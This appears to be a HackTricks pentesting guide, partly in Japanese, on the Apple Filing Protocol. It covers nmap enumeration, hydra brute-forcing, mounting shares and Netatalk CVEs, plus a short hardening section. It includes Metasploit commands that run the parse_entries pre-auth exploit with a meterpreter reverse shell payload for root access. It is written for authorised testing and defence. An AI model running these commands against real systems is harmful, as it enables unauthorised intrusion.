548 - Pentesting Apple Filing Protocol (AFP)
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
The Apple Filing Protocol (AFP), once known as AppleTalk Filing Protocol, is a specialized network protocol included within Apple File Service (AFS). It is designed to provide file services for macOS and the classic Mac OS. AFP stands out for supporting Unicode file names, POSIX-style and ACL permissions, resource forks, named extended attributes and sophisticated file-locking mechanisms.
Although AFP has been superseded by SMB in modern macOS releases (SMB is the default since OS X 10.9), it is still encountered in:
- レガシー macOS / Mac OS 9 環境
- オープンソースの Netatalk デーモンを組み込んだ NAS アプライアンス (QNAP, Synology, Western Digital, TrueNAS…)
- Time-Machine-over-AFP がまだ有効な複数 OS が混在するネットワーク
デフォルト TCP ポート: 548 (AFP over TCP / DSI)
PORT STATE SERVICE
548/tcp open afp
Enumeration
簡易バナー / サーバー情報
# Metasploit auxiliary
use auxiliary/scanner/afp/afp_server_info
run RHOSTS=<IP>
# Nmap NSE
nmap -p 548 -sV --script "afp-* and not dos" <IP>
有用なAFP用NSEスクリプト:
| Script | 説明 |
|---|---|
| afp-ls | 利用可能なAFPボリュームとファイルを一覧表示 |
| afp-brute | AFPログインに対するパスワード総当たり攻撃 |
| afp-serverinfo | サーバ名、マシンタイプ、AFPバージョン、サポートされているUAMsなどをダンプ |
| afp-showmount | ACLと共に共有を一覧表示 |
| afp-path-vuln | ディレクトリトラバーサルを検出(および悪用可能)、CVE-2010-0533 |
より細かい制御が必要な場合、NSEの総当たりスクリプトはHydra/Medusaと組み合わせて使用できます:
hydra -L users.txt -P passwords.txt afp://<IP>
すでに認証情報を持っている場合、Nmap’s AFP scripts become much more useful。afp-serverinfoはadvertised UAMs (auth methods)をleaksし、afp-showmountとafp-lsはreachable shares、ACLs、interesting filesを列挙できます:
nmap -p 548 --script afp-serverinfo,afp-showmount,afp-ls \
--script-args 'afp.username=<USER>,afp.password=<PASS>,ls.maxdepth=2,ls.maxfiles=50' <IP>
- Machine Type: Netatalk が
afp-serverinfoの出力に表示されている場合、通常は Apple の AFP 実装ではなく NAS / Unix ホストであることを示します。 - UAMs(例:
DHX,DHX2,Cleartxt,Guest)は、到達可能なログイン経路やレガシー/弱い認証が有効かどうかを直接示唆します。 - Share ACLs は
afp-showmountで確認してください; world-readable や drop-box style の共有は、ボリュームをマウントする前にバックアップ、.applファイル、ユーザーメタデータを露出することがよくあります。
Interacting with shares
macOS
# Finder → Go → "Connect to Server…"
# or from terminal
mkdir /Volumes/afp
mount_afp afp://USER:[email protected]/SHARE /Volumes/afp
Linux (afpfs-ng を使用 ‑ ほとんどの distros にパッケージされています)
apt install afpfs-ng
mkdir /mnt/afp
mount_afp afp://USER:[email protected]/SHARE /mnt/afp
# or interactive client
afp_client <IP>
Once mounted, remember that classic Mac resource-forks are stored as hidden ._* AppleDouble files – these often hold interesting metadata that DFIR tools miss.
Netatalk ターゲットでは、このメタデータのバックエンドが exploitability にも影響します:
ea = adはメタデータが AppleDouble v2 ファイル /.AppleDoubleディレクトリに保存されることを意味します。ea = sysまたはea = sambaはメタデータが代わりにファイルシステムの拡張属性に保存されることを示します。- Netatalk 4.2+ では古い
appledoubleオプションが削除され、バックエンドはeaオプションでのみ制御されます。
From an offensive perspective, this lets you quickly decide whether AppleDouble-oriented bugs are more likely to be reachable on the server.
共通の脆弱性と悪用
Netatalk 未認証 RCE チェーン (2022)
複数の NAS ベンダーが Netatalk ≤3.1.12 を出荷しました。parse_entries() の境界チェック欠如により攻撃者は悪意のある AppleDouble ヘッダを作成し、認証前に remote root を取得できます(CVSS 9.8 – CVE-2022-23121)。NCC Group による、Western-Digital PR4100 を悪用する PoC を含む詳細な解析が公開されています。
Metasploit (>= 6.3) はモジュール exploit/linux/netatalk/parse_entries を同梱しており、ペイロードを DSI WRITE 経由で送信します。
use exploit/linux/netatalk/parse_entries
set RHOSTS <IP>
set TARGET 0 # Automatic (Netatalk)
set PAYLOAD linux/x64/meterpreter_reverse_tcp
run
If the target runs an affected QNAP/Synology firmware, successful exploitation yields a shell as root.
Netatalk OpenSession ヒープオーバーフロー (2018)
古い Netatalk (3.0.0 - 3.1.11) は DSI OpenSession ハンドラの out-of-bounds write に対して脆弱で、認証なしでのコード実行を可能にします (CVE-2018-1160)。詳細な解析と PoC は Tenable Research によって公開されました。
Newer Netatalk attack surface (2022-2024)
最近の Netatalk 警告では、攻撃対象は parse_entries() と OpenSession ハンドリングに限定されないことが示されています:
- CVE-2022-45188: a specially crafted
.applfile can trigger a heap overflow inafp_getappl; this is especially relevant if you can write files into a share and the server runs FCE / notify features. - CVE-2023-42464: a type confusion bug in the Spotlight RPC handlers can become reachable when
spotlight = yesis enabled inafp.conf(disabled by default). - CVE-2024-38439 / CVE-2024-38440 / CVE-2024-38441: one-byte heap out-of-bounds writes in login-related paths fixed in Netatalk 2.4.1 / 3.1.19 / 3.2.1. These bugs are interesting because exploitability depends on the configured UAMs:
uams_clrtxt.so+ PAM-backed ClearTxt login exposes theFPLoginExtpath relevant to CVE-2024-38439.uams_dhx.so+ PAM-backed DHX login reaches the vulnerable path for CVE-2024-38440.uams_guest.sokeeps the Guest login path reachable for CVE-2024-38441.
つまり afp-serverinfo の出力は単なるフィンガープリンティング情報ではなく、エクスプロイト開発や NAS ファームウェアのトリアージに時間を費やす前に、どの login parser が露出しているかを判断するのに役立ちます。
Other notable issues
- CVE-2022-22995 – AppleDouble v2 が有効な場合にシンボリックリンクのリダイレクトにより任意ファイル書き込み / RCE を引き起こす(3.1.0 - 3.1.17)。
- CVE-2010-0533 – Apple Mac OS X 10.6 AFP のディレクトリトラバーサル(
afp-path-vuln.nseにより検出)。 - Multiple memory-safety bugs were fixed again during the 2024 Netatalk releases; if you identify
Netatalkinafp-serverinfo, spend a minute correlating the exposed UAMs / Spotlight / metadata backend with the server version before assuming only the 2018/2022 bugs matter.
防御上の推奨事項
- Disable AFP — 厳密に必要でない限り、代わりに SMB3 または NFS を使用してください。
- AFP を継続する必要がある場合は、Netatalk を ≥ 3.1.18 または 4.x にアップグレードするか、2022/2023/2024 のパッチをバックポートしたベンダーのファームウェアを適用してください。
- Strong UAMs(例: DHX2)を適用し、クリアテキストおよびゲストログインを無効にしてください。
- TCP 548 を信頼できるサブネットに制限し、リモート公開する場合は AFP を VPN 内に格納してください。
- CI/CD 内で定期的に
nmap -p 548 --script afp-*を実行して、不正 / ダウングレードされたアプライアンスを検出してください。
Brute-Force
References
- Netatalk Security Advisory CVE-2022-23121 – “parse_entries における任意コード実行” https://netatalk.io/security/CVE-2022-23121
- Tenable Research – “18年ものバグの悪用 (CVE-2018-1160)” https://medium.com/tenable-techblog/exploiting-an-18-year-old-bug-b47afe54172
- Netatalk Security Advisories インデックス https://netatalk.io/security.html
- Netatalk 4.2.0 リリースノート https://netatalk.io/4.2/ReleaseNotes4.2.0
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


